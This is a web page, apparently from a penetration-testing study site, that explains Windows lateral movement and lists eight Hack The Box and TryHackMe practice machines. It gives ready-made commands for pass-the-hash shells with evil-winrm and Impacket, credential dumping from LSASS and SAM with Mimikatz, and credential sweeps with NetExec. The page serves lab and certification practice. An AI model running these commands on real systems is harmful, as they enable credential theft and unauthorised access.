Windows Lateral Movement: practice machines and key commands
By Daniel Dayan ยท Updated
Lateral movement means using credentials or hashes from one host to reach another. On Windows the common channels are WinRM, SMB with PsExec style execution, WMI, DCOM and RDP, and each needs a different port and privilege level. A recovered NTLM hash can be used directly with pass-the-hash, so you do not always need the plaintext password. Credential material comes from LSASS memory, the SAM and SYSTEM hives, NTDS.dit, configuration files and browser stores. Spray carefully to avoid lockouts and map which accounts are local administrators on which hosts. Pivoting often goes hand in hand with lateral movement when the next hosts sit on another subnet. These boxes demonstrate moving across Windows hosts. Log every hop with the account, host and method used so you can retrace your path.
Key commands
Placeholders in braces, such as {TARGET_IP}, are values you fill in for your target.
Evil-WinRM Remote PowerShell Access
Connect to Windows target over WinRM port 5985 with credentials or Pass-The-Hash.
evil-winrm -i {TARGET_IP} -u {USER} -p "{PASSWORD}" -s /opt/scriptsImpacket WMIExec (Pass-The-Hash)
Execute semi-interactive commands over WMI using NTLM hash without knowing plaintext password.
impacket-wmiexec -hashes :{NTLM_HASH} {USER}@{TARGET_IP}Impacket PSExec (Pass-The-Hash as SYSTEM)
Spawn SYSTEM service shell on target using NTLM hash over SMB port 445.
impacket-psexec -hashes :{NTLM_HASH} Administrator@{TARGET_IP}Mimikatz LogonPasswords LSASS Dump
Dump plaintext passwords and NTLM hashes from memory of LSASS process.
privilege::debug
sekurlsa::logonpasswords
lsadump::sam
lsadump::lsa /patchNetExec / CrackMapExec Domain Sweep
Check SMB credentials validity, local admin status (Pwn3d!), and password policies.
nxc smb {TARGET_IP} -u {USER} -p "{PASSWORD}" --shares
Keep going
- Methodology: Phase 06: Internal System & Network Reconnaissance
- Cheatsheet: Windows & Active Directory
- Cheatsheet: Pivoting & Tunnels
Windows Lateral Movement machines (8)
3 of these are machines I solved myself and are listed first within each difficulty. 7 Windows, 1 Linux.
Listed when a machine has a catalog tag that is one of: pass the hash, winrm, rdp, psexec, wmi, mimikatz, lateral movement, evil winrm. Capital letters, hyphens and underscores are ignored, and the tags that matched come first in each row. "Editor-mapped" marks machines assigned to this topic by hand because none of their tags match.
Windows Lateral Movement at a glance
- By platform: 5 Hack The Box, 3 TryHackMe.
- On these practice lists: OSCP (4), HTB Starting Point (2), HTB Active Directory (1), CRTO (1).
- Tags that most often appear alongside it: CVE-2019-1388 (2).
- Solved by me, with a page here: Explosion (Windows Very Easy), Tactics (Windows Very Easy), Responder (Windows Easy).
Very Easy (2)
| Machine | Platform | OS |
|---|---|---|
| Explosion | HTB | Windows |
| Tactics | HTB | Windows |
Easy (4)
| Machine | Platform | OS |
|---|---|---|
| Responder | HTB | Windows |
| Anthem | THM | Windows |
| Sauna IppSec | HTB | Windows |
| Spectra IppSec | HTB | Linux |
Medium (1)
| Machine | Platform | OS |
|---|---|---|
| Blaster | THM | Windows |
Hard (1)
| Machine | Platform | OS |
|---|---|---|
| Retro | THM | Windows |
Related techniques
Related guides: TJ Null OSCP list, OSCP exam scoring and time budget, OSCP vs CPTS, OSCP report template.
Practise it, then track it.
Log every box and the commands you used in ZeroBox.